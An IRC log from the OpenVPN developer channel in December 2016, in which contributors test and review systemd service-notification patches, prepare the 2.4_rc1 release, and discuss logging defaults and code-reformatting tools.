(1) error: src/openvpn/init.h: No such file or directory 09:07 < slypknot> that file is not in my clone ??? 09:08 < slypknot> this may be beyond my skills for now .. :( 09:09 < slypknot> this is weird 09:10 < eworm> % git ls-files | grep init.h 09:10 < eworm> src/openvpn/init.h 09:10 < eworm> the file should be in your repository... 09:11 < slypknot> yes it *should* .. I have done something stupid .. working on it 09:11 < eworm> does 'git status' tell anything about that file? 09:11 < slypknot> ignore me for now .. I'll figure it out :) 09:12 < eworm> 'git reset --hard' should reset to a clean state... Make sure you do not have any uncommitted changes. 09:12 < slypknot> i'm just re-cloning for now 09:13 < eworm> should work as well ;) 09:13 * slypknot has fingers X'd 09:19 < slypknot> patch 1 applied : Use systemd service manager notification 09:20 < slypknot> patch 2 failed : Refuse to daemonize when running from systemd 09:20 < slypknot> fatal: corrupt patch at line 14 09:20 < slypknot> not sure about that 09:21 < eworm> did you download from github? 09:21 < slypknot> i think some line wrap has got it 09:21 < slypknot> eworm: I am a bit of a beginner with git .. so I make mistakes 09:22 < slypknot> ok .. fixed it both applied (i think!) 09:23 < slypknot> sorry to paste to channel .. does this look ok ? 09:24 < slypknot> [dik@arch-hyv-live-64 b]$ git status 09:24 < slypknot> On branch master 09:24 < slypknot> Your branch is up-to-date with 'origin/master'. 09:24 < slypknot> Changes not staged for commit: 09:24 < slypknot> (use "git add <file>..." to update what will be committed) 09:24 < slypknot> (use "git checkout -- <file>..." to discard changes in working directory) 09:24 < slypknot> modified: distro/systemd/openvpn-client@.service 09:24 < slypknot> modified: distro/systemd/openvpn-server@.service 09:24 < slypknot> modified: src/openvpn/init.c 09:24 < slypknot> modified: src/openvpn/init.h 09:24 < slypknot> no changes added to commit (use "git add" and/or "git commit -a") 09:24 < slypknot> [dik@arch-hyv-live-64 b]$ 09:25 < eworm> yes, these four files are affected 09:27 < eworm> 'git diff' should look something like this: 09:27 < eworm> https://github.com/OpenVPN/openvpn/compare/master...eworm-de:systemd 09:27 <@vpnHelper> Title: Comparing OpenVPN:master...eworm-de:systemd · OpenVPN/openvpn · GitHub (at github.com) 09:29 < eworm> Uh, just found a bug myself... :-p 09:29 < slypknot> lol 09:29 < slypknot> i need ./configure --enable-systemd ? 09:34 < slypknot> arch-linux bites my bare ass again ! (The pkg-config script could not be found or is too old. .. ) trying debian 09:36 < Thermi> ? 09:36 < Thermi> "pkg-config"? Arch? Arch uses PKGBUILD. 09:37 < Thermi> Ah. You mean in the source. 09:37 < slypknot> ah .. do I ? 09:38 < Thermi> pkg-config anything has nothing to do with Arch specifically. 09:38 < Thermi> Ah. Nvm. 09:38 < Thermi> What are you actually trying to do? 09:39 < slypknot> ./configure --enable-systemd 09:39 <@vpnHelper> RSS Update - gitrepo: Mention that OpenVPN 2.4 requires Windows Vista or higher <https://github.com/OpenVPN/openvpn/commit/1c587a11122206186098c2014d407d0eb469656e> 09:39 < slypknot> using either normal user or root .. same error on arch AND debian 09:40 < Thermi> Just master repo + patch for the systemd integration? But which one? 09:41 < slypknot> the full error is: 09:42 < slypknot> configure: error: in `/home/dik/openvpn/b': 09:42 < slypknot> configure: error: The pkg-config script could not be found or is too old. Make sure it 09:42 < slypknot> is in your PATH or set the PKG_CONFIG environment variable to the full 09:42 < slypknot> path to pkg-config. 09:42 < slypknot> Alternatively, you may set the environment variables libsystemd_CFLAGS 09:42 < Thermi> `which pkg-config`? 09:42 < slypknot> and libsystemd_LIBS to avoid the need to call pkg-config. 09:42 < slypknot> See the pkg-config man page for more details. 09:42 < slypknot> To get pkg-config, see <http://pkg-config.freedesktop.org/>. 09:42 < slypknot> See `config.log' for more details 09:42 <@vpnHelper> Title: pkg-config (at pkg-config.freedesktop.org) 09:42 < slypknot> is this a new dependency ? 09:42 < Thermi> do you maybe not have base-devel installed? 09:43 < Thermi> `pacman -Syu base-devel` (Just to make sure everything is up to date). 09:44 < eworm> Back again... 09:44 < slypknot> Thermi: not sure what has happened .. maybe i did not install arch base-devel at install time 09:45 < eworm> slypknot: You should install base-devel when building packages for Arch Linux 09:45 < eworm> pacman -S base-devel 09:45 < slypknot> it is doing it now :) 09:45 < Thermi> slypknot: That might be it. base-devel pulls in pkg-config. Then you should have it. Obviously, you also need to do the analog to that with your Debian box. 09:45 < slypknot> sure 09:46 < slypknot> I don't know how I managed to build openvpn with out tho ? 09:46 < slypknot> wierd 09:46 < Thermi> new/old Arch and Debian box. Or you restored an old snapshost. 09:46 < Thermi> *snapshot 09:47 < slypknot> I build openvpn about once a week on Arch/CentOS7/Debian8/Fedora24/Opensuse42/Ubuntu1604 .. no problem 09:48 < slypknot> pacman -Syu in RE-installing loads of dev tools 09:48 < Thermi> Yes. 09:48 < Thermi> That's okay. 09:48 < slypknot> 565MB 09:49 < eworm> slypknot: Want to try my Arch packages? 09:49 < slypknot> eworm: like what ? 09:49 < eworm> pacman -U http://mirror.mylinuxtime.de/arch/eworm/x86_64/openvpn-2.4_beta2-7-x86_64.pkg.tar.xz 09:50 < eworm> This is 2.4-beta2 including my patches 09:50 < slypknot> gotcha 09:50 < slypknot> I would prefer to get mine working on site :) 09:50 < slypknot> otherwise how can I tell what i have ;) 09:51 < slypknot> sorry for the delays 09:51 < slypknot> i do realize you are all very busy 09:53 < eworm> that's true... 09:53 < slypknot> ok .. pacman fixed the problem .. i must have forgotten base-devel during first install 09:53 * slypknot slaps head 09:54 < slypknot> ok 09:54 < slypknot> OpenVPN 2.4_beta2 [git:master/ce91c187ee0dd73a+] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Dec 1 2016 09:54 < slypknot> library versions: OpenSSL 1.0.2j 26 Sep 2016, LZO 2.09 09:55 < slypknot> Originally developed by James Yonan 09:55 < slypknot> Copyright (C) 2002-2016 OpenVPN Technologies, Inc. <sales@openvpn.net> 09:55 < slypknot> Compile time defines: enable_async_push=no enable_comp_stub=no enable_crypto=yes enable_crypto_ofb_cfb=yes enable_debug=yes enable_def_auth=yes enable_dlopen=unknown enable_dlopen_self=unknown enable_dlopen_self_static=unknown enable_fast_install=yes enable_fragment=yes enable_iproute2=no enable_libtool_lock=yes enable_lz4=yes enable_lzo=yes enable_management=yes enable_multi=yes enable_multihome=yes 09:55 < slypknot> enable_pam_dlopen=no enable_pedantic=no enable_pf=yes enable_pkcs11=no enable_plugin_auth_pam=yes enable_plugin_down_root=yes enable_plugins=yes enable_port_share=yes enable_selinux=no enable_server=yes enable_shared=yes enable_shared_with_static_runtimes=no enable_small=no enable_static=yes enable_strict=no enable_strict_options=no enable_systemd=yes enable_werror=no enable_win32_dll=yes 09:55 < slypknot> enable_x509_alt_username=no with_aix_soname=aix with_crypto_library=openssl with_gnu_ld=yes with_mem_check=no with_plugindir='$(libdir)/openvpn/plugins' with_sysroot=no 09:55 < slypknot> eworm: time to try your units 10:10 < slypknot> eworm: systemctl start openvpn-client@west does not return to prompt (west is my client name) 10:11 < slypknot> double checked I am using your unit Type=Notify 10:11 < slypknot> ok it does retyrb bbut time out exceeded 10:11 < slypknot> return* 10:12 < slypknot> is this related to "the bug" you found or did I cock up again ? 10:13 < slypknot> ** MY FAULT ** 10:14 < slypknot> get the right binary path ;) 10:17 < slypknot> started ok 10:17 < slypknot> now try with "bad opt" 10:17 < eworm> no, my bug is that always printed "Initialization Sequence Completed", even on error 10:17 < eworm> see the updated patches on the mailing list 10:18 < eworm> but it does not change the behavior otherwise 10:19 < slypknot> failed with "bad-opt" as per your email 10:22 < slypknot> both server & client instances on arch do as your email .. will check other shortly .. must dash for 45mins 10:45 < eworm> Time to go home... I will try to join later. 14:17 < slypknot> dazo: ping! 14:17 < eworm> Hey everybody! 14:18 < eworm> Any news? 14:18 < slypknot> hi eworm 14:18 < eworm> hi slypknot 14:18 < slypknot> just finding out if dazo is available yet .. 14:18 < eworm> did you give the patches some more testing? 14:19 < slypknot> eworm: FYI, as far as i can see your patch works fine .. I have spent some time getting other distros upto scratch with devel-base and systemd-dev (took longer than expected) before I commint to another long haul i wanted to ask dazo his thoughts 14:21 < slypknot> what the hell .. I'll test some more now ;) 14:22 < eworm> :D 14:24 <@dazo> hey! 14:25 <@dazo> $kid is a sleep now, so now I have some hacking time again :) 14:26 < eworm> mine as well. ;) 14:27 < slypknot> dazo: I tested eworm's patch and units on arch and they work as described .. I am in the midst of doing the same for centos7 14:37 <@dazo> slypknot: great ... please also test some bad config files ... don't need to test on all arches, but at least a few bad ones are good 14:37 * dazo studies the details of sd_notify() and the patches now 14:40 < eworm> and please test with and without "daemon" in config, from systemd and command line 14:40 <@dazo> yes 15:01 < eworm> dazo: When committing this please make sure to grab the updated patches from ml. 15:01 <@dazo> yes, that's the ones I'm reviewing 15:01 < eworm> ok 15:03 <@dazo> eworm: for later ... it would be good if you could just add a "version revision" when updating patches, so we see what has changed from earlier patches ... for example, see commit 5d429efd9720109b9c9f 15:04 <@dazo> eworm: if you can just pastebin the changes, I can amend them to the commit at commit time 15:09 <@dazo> eworm: any particular reason you added the #include <systemd/sd-daemon.h> in init.h? Otherwise, I think that should go into init.c 15:10 < eworm> dazo: patch 1 adds curly brackets (and indention) to block the else-part 15:10 < eworm> with ENABLE_SYSTEMD the msg() call was non-conditional 15:11 < eworm> patch 2 adds a note about script and command line in the commit message 15:12 <@dazo> index 524bc64..0518b06 100644 15:12 <@dazo> --- a/src/openvpn/init.h 15:12 <@dazo> +++ b/src/openvpn/init.h 15:12 <@dazo> @@ -27,6 +27,10 @@ 15:12 <@dazo> 15:12 <@dazo> #include "openvpn.h" 15:12 <@dazo> 15:12 <@dazo> +#ifdef ENABLE_SYSTEMD 15:12 <@dazo> +#include <systemd/sd-daemon.h> 15:12 <@dazo> +#endif 15:12 <@dazo> + 15:12 <@dazo> this is what I'm wondering about ... I think that #ifdef + #include should go into init.c, not init.h 15:13 < eworm> I'd be fine with that. 15:14 < eworm> I tend to put local headers in c files, system headers in header files 15:14 < eworm> But I am fine with what ever you prefer 15:14 <@dazo> yeah, its just that init.h is included by several other files ... and we try to reduce the header file tangling, it's complicated as it is already .... and since init.c is the only place calling sd_notify() now ... 15:15 <@dazo> I'll spin a test-build now with it moved, just to ensure it builds :) 15:15 < eworm> it should 15:16 <@dazo> yeah ... running make check now (with t_client.rc tests ... so that should cover testing kicking off openvpn from the command line, without --daemon) 15:17 < eworm> I did run make check myself 15:17 < eworm> what is t_client.rc? 15:18 <@dazo> t_client.rc is a config file used by t_client.sh ... which does a lot of tests to a remote server, sends some IPv4+IPv6 packets ... and moves to the next test profile 15:18 <@dazo> I have 6-7 test profiles configured 15:18 <@dazo> (udp, tcp, tun, tap, etc, etc) 15:19 < eworm> so this is run from (default) make check or is it an addition to that? 15:20 <@dazo> make check tries to run t_client.sh ... and t_client.sh exits with "SKIP test" if t_client.rc is not found 15:20 <@dazo> (t_client.rc is the configuration file) 15:21 < eworm> ah, ok... Then I did not have this part. :-p 15:21 <@dazo> :) 15:23 <@dazo> tested running from command line, successfully ... with + without --daemon 15:25 < eworm> fine 15:26 < eworm> do you want me to resend the patches with moved include and updated commit messages? 15:27 <@dazo> yes, please ... I shouldn't do such code changes on-the-fly at commit time .... that's really in the darker greyish borderline area of what's okay to do 15:27 < eworm> :D 15:28 < eworm> and preference where exectly the include should go? 15:28 < eworm> s/and/any/ 15:29 <@dazo> I'd put it right before "syshead.h" 15:29 <@dazo> #endif 15:29 <@dazo> #ifdef ENABLE_SYSTEMD 15:29 <@dazo> #include <systemd/sd-daemon.h> 15:29 <@dazo> #endif 15:29 <@dazo> #include "syshead.h" 15:29 <@dazo> meh 15:29 <@dazo> with a whitespace line before #ifdef ENABLE_SYSTEMD and before #include "syshead.h" 15:29 < eworm> ok 15:30 <@dazo> hmmm ... perhaps take it right after syshead.h 15:30 <@dazo> I see syshead.h pulls in system headers ... which should have priority .... I thought we had kicked out most of them, but I probably just dreamt that :) 15:32 <@dazo> hmm the nice thing about this change .... the username/password input now behaves properly again when starting with systemctl 15:32 <@dazo> before: 15:32 <@dazo> # systemctl start openvpn-client@config 15:32 <@dazo> # 15:33 <@dazo> Broadcast message from root@host (Thu 2016-12-01 22:17:11 CET): 15:33 <@dazo> Password entry required for 'Enter Auth Username:' (PID 9747). 15:33 <@dazo> Please enter password with the systemd-tty-ask-password-agent tool! 15:33 <@dazo> # 15:33 <@dazo> With this patch: 15:33 <@dazo> # systemctl start openvpn-client@config 15:33 <@dazo> Enter Auth Username: 15:36 <@dazo> I'll wait a bit more for slypknot comments on a few more test boxes ... and then I think this is good to go 15:36 <@dazo> There are a few more places we probably can call sd_notify() to show the progress of the connection and such ... but that's just improvements of what we have now 15:38 < eworm> patches sent 15:38 < eworm> Yes, calling sd_notify to update the status would be neat 15:39 < eworm> but that can be added later 15:39 < eworm> does not break anything 15:41 <@dazo> exactly! 15:41 < eworm> or better: does not break compatibility but needs good testing ;) 15:41 <@dazo> I like small patches which works independently, but moves the things forward ... makes it so much easier to bisect when something explodes 15:42 < eworm> yes, me too 15:42 < eworm> that's why we have two patches 15:42 <@dazo> okay, I need to do a few other things ... I'll come back in a bit and see if slypknot have found any issues 15:46 <@dazo> ohgosh ..... 15:46 <@dazo> host unknown.host 15:46 <@dazo> unknown.host has address 188.68.51.215 15:46 <@dazo> unknown.host mail is handled by 10 serpens.uberspace.de. 15:47 <@dazo> I was surprised my good old on-purpose bad config didn't fail but actually tried to connect to a host .... as I used unknown.host as hostname .... 15:49 <@dazo> Perhaps we should set "READY=1" a bit earlier .... using an unkown host will cause an odd behaviour 15:49 <@dazo> openvpn[14579]: Restart pause, 5 second(s) 15:50 <@dazo> it tries to lookup the bad host in a loop 15:50 <@dazo> but I can't stop the unit, as it isn't ready 15:50 <@dazo> oh, systemctl stop got impatient and sent a SIGKILL in the end 15:51 < eworm> yes, systemd timeouts are in action here 15:51 < eworm> should be 90 seconds 15:51 <@dazo> ahh, okay 15:52 <@dazo> systemd[1]: openvpn-client@hbtest.service stop-sigterm timed out. Killing. 15:52 <@dazo> right ... I thought that was my attempt to stop it manually 15:52 <@dazo> 90 sec lock-up is okay 15:53 <@dazo> (and enough to reach high up on the systemd-analyze blame hall-of-fame list) 15:54 < eworm> I had to increase the timeout to five minutes for a unit that mounts a *really* huge btrfs volume... 15:55 < eworm> That is top of my fall-of-fame. :-p 16:17 < slypknot> guys, sorry got a bit distracted .. however, Arch+Centos7 appear to function as described 16:17 < slypknot> i got server and client to start or fail as expected on both 16:20 < eworm> Great! 16:20 < eworm> Thanks for testing! 16:22 < slypknot> and restart 16:22 < slypknot> eworm: no problem :) 16:24 < slypknot> not sure about promt 16:26 < slypknot> prompt is ok as well 16:26 < slypknot> i just have some typeing problems 16:28 <@dazo> slypknot: so you're comfortable with these patches? 16:28 < slypknot> yes i am 16:28 <@dazo> wonderful! 16:30 < slypknot> centos sd ver is 219 : Arch sd ver is 232 .. I think all the others fall between that and to my 16 tests per OS they all passed 16:31 < slypknot> tests: systemctl start/stop/restart 16:31 < slypknot> command line start 16:31 < slypknot> client & server 16:32 < slypknot> type=notify (used the original units from eworm) 16:32 <@dazo> great! 16:33 < slypknot> 8 tests per os .. duh* 16:33 < slypknot> oh yeah and they fail properly if the config file is dufff 16:34 <@dazo> slypknot: see PM 16:55 <@dazo> eworm: I've ACKed and applied the patches to my local git tree ... will run final tests before pushing out and sending the "applied" mails 16:56 < eworm> dazo: Thanks a lot! 16:56 < eworm> And an extra thanks to slypknot for testing! 16:57 <@dazo> thank you too! Sorry for the scepticism in the beginning, just a bit nervous when I'm about to wrap up the 2.4_rc1 package ... but great to have it in here! 16:57 < eworm> It is just natural. ;) 16:58 < eworm> I wish I had discovered the latest changes to the systemd unit a bit earlier. 16:59 < eworm> dazo: You answered my mails about the autoconf stuff and plugindir, no? 16:59 * eworm has to admit that he is not as familiar with autoconf as with systemd. :-p 17:00 <@dazo> eworm: right ... those are further down my TODO list .... I don't recall right now the status, but not forgotten! 17:01 < eworm> ok, fine 17:01 < eworm> nothing critical there 17:01 < eworm> time to go to bed now... 17:01 <@dazo> :) 17:02 <@dazo> g'night! ... and feel free to join in on ML and here on IRC any time .... also on our developers meetings 17:02 < eworm> I want to be awake before my daughter 17:02 <@dazo> lol :) I understand _completely_ 17:03 < eworm> I am subscribed to the mailing list already and added the channel to pidgin 17:04 < eworm> Can't hurt to have good information for my packaging work. ;) 17:06 < eworm> Ok, see you tomorrow... Bye and good night! 17:19 <@dazo> doing final test of this: 17:19 <@dazo> OpenVPN 2.4_rc1 [git:master/e739d7f445abc362] x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Dec 2 2016 17:19 <@dazo> if looking good ... it will be pushed out in a few minutes 17:40 <@vpnHelper> RSS Update - gitrepo: Preparing OpenVPN v2.4_rc1 release <https://github.com/OpenVPN/openvpn/commit/e739d7f445abc36277f60b2fb048809cdbeb7df1> || Refuse to daemonize when running from systemd <https://github.com/OpenVPN/openvpn/commit/7660bba111f739f9cc7017c392c1434f201b8c44> || Use systemd service manager notification <https://github.com/OpenVPN/openvpn/commit/c5931897ae8d663e7e6244764fc6379d7b4740f3> 17:40 <@dazo> mattock: files have been uploaded for you ... let me know how it goes and I'll finalize the tagging of the git tree 18:40 < slypknot> typical .. 18:40 < slypknot> i just daemonized openvpn when systemd should have refused it .. 18:41 < slypknot> there is a v2 on the list .. testing now 18:41 < slypknot> ffs! 18:57 < slypknot> looks like v2 failed as well :'( 19:15 < ordex> is there any schedule for the next potential dev meetings ? 19:19 < slypknot> ordex i believe it is next wednesday but the cannle is always here 19:19 < slypknot> channel* 19:19 < ordex> yeah, me too! :D 19:20 < ordex> :) 19:54 < slypknot> dazo: See ML for a horrible little problem with "systemd refuse to daemonize" .. my apologies :( 19:54 < slypknot> ^^^^^^^^^^ --- Day changed Fri Dec 02 2016 01:38 <@mattock> slypknot: in case the problem is real, we are "fortunate" that nobody is (yet) using our systemd unit files in their distros 01:39 <@mattock> plus the unit file is not imho something that couldn't be fixed after an rc 01:40 <@vpnHelper> RSS Update - tickets: #781: tap <https://community.openvpn.net/openvpn/ticket/781> 02:06 <@mattock> dazo, cron2: everything looks good as far as rc1 is concerned 02:06 <@mattock> windows tests passed, as did debian packaging smoketests 02:07 <@mattock> I'm about to edit the download page and to send out the announcements 02:10 <@mattock> any release highlights? 02:11 <@mattock> looks like mostly small fixes 02:16 <@cron2> small bugfixes and cleanup, nothing major, I'd say 02:16 <@cron2> (which is what beta2->rc1 *should* have, anyway :-) ) 02:22 <@mattock> yes :) 02:32 <@mattock> ok, release done 03:08 <@cron2> https://eev.ee/blog/2016/12/01/lets-stop-copying-c/ 03:08 <@vpnHelper> Title: Let’s stop copying C / fuzzy notepad (at eev.ee) 03:08 <@cron2> interesting read, though long 03:33 <@dazo> mattock: great! the biggest change is the improved CRL loading 03:33 <@dazo> I'll tag the git tree now and push it out 03:33 <@cron2> oh, indeed. forgot that one :) 03:34 <@dazo> otherwise, just minor improvements and bug fixes 03:35 <@dazo> and what slypknot mentioned on the ML late this night is just as expected .... --daemon in a configuration file should not cause any failures 03:35 <@dazo> (it should just be ignored if it can communicate with the systemd service manager) 03:42 <@dazo> mattock: see XMPP chat, please 05:41 * slypknot exhales *phew* 08:26 <@vpnHelper> RSS Update - tickets: #782: Expose connection info to up/down scripts via additional env variables <https://community.openvpn.net/openvpn/ticket/782> 08:59 < ordex> syzzer: here I have a cleanup that I am holding until 2.4 is out and master is open again: https://github.com/ordex/openvpn/commit/ba5e8f99c3816c3fec7ecb6e91c4484da9335202 08:59 <@vpnHelper> Title: convert *_inline attributes to bool · ordex/openvpn@ba5e8f9 · GitHub (at github.com) 08:59 < ordex> it's tha inline thing that we discussed in the past 08:59 < ordex> *that 09:05 * cron2 wonders how we're going to do The Great Reformatting, without mailing "the full openvpn source tree" to the -devel list 09:05 <@cron2> (because the diff is going to be as big or bigger than "the full source tree") 09:05 <@plaisthos> non whitespace diff? :) 09:06 <@cron2> for review, most definitely, but "The Process" of "mail the commit to the list" would incur "the full diff", so I'm not seeing us do that 09:06 <@plaisthos> I am now copying the new systemd file to my ubuntu and will figure out how much it burns 09:07 <@plaisthos> grep -c "ls-crypt unwrap error: packet too short" /var/log/syslog 09:07 <@plaisthos> 7875 09:07 <@plaisthos> and that kids is why you don't put your servername as example in a config file 09:14 <@plaisthos> hm, do I need to reload this config files somewhow? 09:14 <@plaisthos> reboot seems not have helped 09:15 <@plaisthos> sysctmctl still lists openvpn.service instead of -clietn/-server 09:17 < eworm> no idea how ubuntu packages openvpn... 09:17 < eworm> perhaps something like: 09:18 < eworm> systemctl disable openvpn@config.service 09:18 < eworm> systemctl enable openvpn-client@config.service 09:18 < eworm> and finally to start it: 09:19 < eworm> systemctl start openvpn-client@config.service 09:19 <@plaisthos> Created symlink from /etc/systemd/system/multi-user.target.wants/openvpn-server@config.service to /etc/systemd/system/openvpn-server@.service. 09:19 <@plaisthos> hm okay :) 09:20 < eworm> that is what 'systemctl enable' does ;) 09:21 <@plaisthos> Dez 02 16:12:42 hermes openvpn[2040]: Options error: In [CMD-LINE]:1: Error opening configuration file: config.conf 09:21 <@plaisthos> hm 09:21 <@plaisthos> why config.conf? 09:21 * plaisthos looks puzzeld 09:21 < eworm> config was just an example 09:21 <@plaisthos> oh 09:21 < eworm> what is your config file named? 09:21 <@plaisthos> ah 09:21 <@plaisthos> I get it now 09:22 <@plaisthos> is there something like autodiscovery for all files in /etc/openvpn/server like debian/ubuntu script has? 09:23 < eworm> no 09:26 <@plaisthos> sudo systemctl start openvpn-server@openvpn.service be blocking? 09:28 <@plaisthos> installing openvpn without systemd support but with systemd start scripts does not play so nicely 09:33 < eworm> You need openvpn 2.4_rc1 built with systemd support to make it work with recent unit files 09:33 <@plaisthos> eworm: I noticed :) 09:38 <@plaisthos> One thing I really dislike about the new systemd files is that all openvpn stuff is thrown together in syslog 09:38 <@plaisthos> the old debian had the config files as prefix 09:38 <@plaisthos> i.e. openvpn-aead 09:38 <@plaisthos> openvpn-tcp 09:38 <@plaisthos> so I could figure out which daemon was logging 09:38 <@plaisthos> now it is all openvpn :/ 09:46 <@plaisthos> --daemon ovpn-test-null 09:46 <@plaisthos> that is missing in the new systemd scripts 09:46 <@plaisthos> or something similar (e.g. syslog progrname) 09:54 < slypknot> naming conventions .. 09:55 < slypknot> also, openvpn-server@.service points to /etc/openvpn/server for config file 09:55 < eworm> plaisthos: you can still add syslog or daemon 09:57 < ordex> cron2: maybe a review on gitub + an email to the ml reporting the link would be an idea? 09:57 < ordex> at least everybody can be informed and can review 09:58 <@cron2> can github do "ignore whitespace diffs" diffs? I'm not normally using github as I find it far too annyoing klicketeria as compared to running "git diff [-w]" 09:59 <@plaisthos> eworm: yeah it talking about my user experience with a system admistrator hat here 10:00 <@plaisthos> having logs like: 10:00 < ordex> mh not sure about the ignore whitespace thing 10:00 <@plaisthos> Dec 2 16:39:57 hermes ovpn-udp[571]: 10:00 * ordex also uses git only 10:00 <@plaisthos> Dec 2 16:39:57 hermes ovpn-aead-v6[592] 10:00 <@plaisthos> is nice 10:00 <@plaisthos> haven 12 different openvpn[123] in /etc/syslog that only differ in the pid are annoying 10:00 < eworm> plaisthos: you can add "syslog ovpn-aead-v6" in your config file to achive that 10:01 <@plaisthos> eworm: why aren't we adding that as default? 10:01 < eworm> no idea... i did not touch the commands 10:02 <@plaisthos> or does sytemd want to read from stdout of openvpn or something like that? 10:02 < eworm> that's the default, yes 10:02 < eworm> the process name (which is "openvpn") is used then 10:03 < eworm> specifying "syslog" makes everything go via syslog interface 10:03 <@plaisthos> so syslog is not a good solution 10:06 < eworm> well, systemd still has the relation between service and logs... 10:06 < eworm> so everything should be fine 10:08 < eworm> using syslog has the advantage that the log level is reported... 10:14 < ordex> cron2: is your comment supposed to scare or excite me ? :D 10:14 < ordex> eheh 10:14 < ordex> I think I will dig into that pf thing 10:23 <@plaisthos> oh great my kvm looses dns packet between the vms 10:25 <@dazo> plaisthos: we can consider to add --syslog openvpn-%I .... however, if you use 'journalctl --since today -u openvpn-server@config' ... then you get what you want 10:26 < eworm> I would not add it. 10:26 <@dazo> I'm reluctant to add it too 10:26 < eworm> This can be added via config file, but you can not disable it when it is in systemd unit 10:26 <@dazo> yeah 10:26 <@dazo> just that Debian did it for you earlier :) 10:27 <@dazo> (so quite few Debian/Ubuntu/Mint configs will have --syslog) 10:27 <@dazo> (openvpn configs, that is) 10:28 <@plaisthos> dazo: no debian/ubuntu add that automatically to the command line when started by the init script 10:28 <@plaisthos> root 2423 0.0 1.1 33048 5732 ? Ss 16:41 0:00 /usr/sbin/openvpn --status /run/openvpn-server/status-aead.log --status-version 2 --suppress-timestamps --config aead.conf 10:28 <@plaisthos> root 3017 0.0 1.1 33180 5620 ? Ss 17:17 0:00 /usr/sbin/openvpn --daemon ovpn-aead-v6 --status /run/openvpn/aead-v6.status 10 --cd /etc/openvpn --script-security 2 --config /etc/openvpn/aead-v6.conf --writepid /run/openvpn/aead-v6.pid 10:28 <@plaisthos> first is our systemd, second is ubuntu/debian style 10:30 <@dazo> plaisthos: that's my point 10:30 <@dazo> (hence quite few OpenVPN configs on Debian installations will carry --syslog) 13:01 <@cron2> mmmh, gnu indent seriously dislikes the "service" struct initializations in tun.c 13:02 <@cron2> - 0 }, 13:02 <@cron2> - .iface = { .index = tt->adapter_index, .name = "" }, 13:02 <@cron2> + 0} 13:02 <@cron2> + , 13:02 <@cron2> + .iface = {.index = tt->adapter_index,.name = ""} 13:02 <@cron2> + , 13:04 <@cron2> oh 13:04 * cron2 just found this pretty... 13:04 <@cron2> const bool looks_like_netmask = ((addr & 0xFF000000) == 0xFF000000); 13:05 <@cron2> we do HAVE config that does this... 13:05 <@cron2> "WARNING: Since you are using --dev tun with a point-to-point topology, the second argument to --ifconfig must be an IP address. You are using something (%s) that looks more like a netmask. %s", 13:05 <@cron2> ... but "in the wrong direction" 13:11 < sagatak> good day 13:12 < sagatak> quick qeustion: anyone happens to know what is the meaning of "mtu_discover_type = -1" (which of the three documented options is this?), and has the behavior of this option changed between 2.1.x and current? 13:37 <@plaisthos> cron2: you can disable that with ifocnfig-nowarn :) 13:37 <@plaisthos> (which I do on Anroid) 13:38 <@cron2> plaisthos: I'm aware, but I do not want to disable it, but make it useful for "topology" where it is a noop right now 13:38 <@plaisthos> :) 13:38 <@cron2> right now playing with "uncrustify", because indent is too stupid 13:39 <@cron2> uncrustify is magic... it has 600(!) options how to format code 13:39 <@cron2> nl_brace_else { Ignore, Add, Remove, Force } 13:39 <@cron2> Add or remove newline between '}' and 'else' 13:42 <@cron2> nl_create_for_one_liner { False, True } 13:42 <@cron2> Change simple unbraced for statements into a one-liner 13:42 <@cron2> 'for (i=0;i<5;i++)\n foo(i);' => 'for (i=0;i<5;i++) foo(i);' 16:40 < slypknot> oo.. 21:40 < ordex> lol --- Day changed Sat Dec 03 2016 03:21 < ordex> does anybody know if ExpressVPN modified OpenVPN? (I think they do) is their source code available ? 03:31 <@cron2> if their stuff is based on openvpn, they will have to provide the source code (at least for the client) 03:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 268 seconds] 05:23 < ordex> cron2: it should be based on it. the app was mostly openvpn with some surrounding funcitonalities 05:24 < ordex> s/was/is 06:16 < ordex> cron2: might make sense to assign #636 to me? or is there some kind of policy about assigning tickets ? 06:34 <@cron2> ordex: the policy is somewhat loosely defined - if someone says "I'll work on it!" or it's clear he broke it, I assign - otherwise I usually just set cc: to catch people's attention and then they take it themselves 06:34 < ordex> ok 06:34 <@cron2> done :) 06:35 <@cron2> since there is no "I assign, you do!" authority here, it's more a sort of "he's working on it" thing :) 06:38 < ordex> :D 06:38 < ordex> yeah 07:07 < slypknot> ordex: if you do work on #636 I am happy to test it for you 07:07 < slypknot> if you need any help setting up I can also help with that 07:14 < ordex> slypknot: thanks ! 07:14 < ordex> yesterday I went through the article and I teste dthe current functionality 07:14 < ordex> I'll ping you again when a patch is ready 07:14 < ordex> thanks ! :) 07:14 < ordex> but, does anybody really uses this feature ? 07:14 < ordex> :D 07:15 < slypknot> It is really useful if you run on a windows server where iptables is not available 07:16 < slypknot> I know windows firewall can do much of the same but *uhg* Windows Firewall ! 07:16 < slypknot> but it is one of those "nice to haves" not a real necessity 07:25 < ordex> :D 07:25 < ordex> ok 07:26 < ordex> good learning exercise anyway 08:00 < ordex> slypknot: do you actually have a windows server to test this with ? 08:00 < ordex> because this is going to be the funniest part for me :P 09:39 < slypknot> ordex: I can test on windows and linux server 09:39 < ordex> great 09:39 < slypknot> how is it going ? 10:02 < ordex> fine so far 10:02 < ordex> :) 10:02 < ordex> mroute actually supports v6 already. it's about adapting pf by making it v6 aware 10:03 < ordex> and distinguish between a v4 or a v6 address check 12:01 <@cron2> mroute is totally magic :) when I added v6 point-to-multipoint "back then", it just worked without having to understand mroute :) 13:59 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:03 <@cron2> ah, syzzer... 14:03 <@cron2> so you missed all my nice comments about uncrustify yesterday :) 14:08 <@cron2> syzzer: I've added a bit of "what program could we use to do the Great Reformatting" to the CodingStyle wiki page, and uncrustify looks very nice - though it's abit work to figure out how the *600* options should be set... 14:08 <@cron2> (talking about "openvpn has too many" :) ) 20:25 < ordex> cron2: indent foes not work fine in this case ? 21:48 <@vpnHelper> RSS Update - tickets: #783: --enable-async-push --disable-plugins build failure for multi.c <https://community.openvpn.net/openvpn/ticket/783> 21:57 * ordex is digging into mroute now 21:57 < ordex> losing hair 21:57 < ordex> :D 22:06 < ordex> ah! something was missing in there! :] 22:12 < ordex> it works :] 22:12 < ordex> 